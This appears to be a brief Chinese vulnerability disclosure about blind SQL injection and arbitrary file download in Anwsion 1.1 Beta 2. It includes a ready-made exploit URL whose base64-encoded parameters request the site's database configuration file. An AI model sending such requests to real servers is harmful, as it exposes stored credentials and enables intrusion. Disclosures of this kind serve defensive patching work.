Anwsion 1.1 Beta 2盲注及任意文件下载 - 网站安全

该注入存在个人主页上，

 

由于做了url伪静态，但是还是可以注入

 

 

anwsion任意文件下载 漏洞

详细说明：不解释，代码逻辑有问题。

http://wenda.anwsion测试数据/file/download/?file_name=Y29uZmlnLnBocA==&url=Lmh0dHA6Ly93ZW5kYS5hbndzaW9uLmNvbS91cGxvYWRzLi9zeXN0ZW0vY29uZmlnL2RhdGFiYXNlLnBocA==

 

 

 

 

 

 

 

查看更多关于Anwsion 1.1 Beta 2盲注及任意文件下载 - 网站安全的详细内容...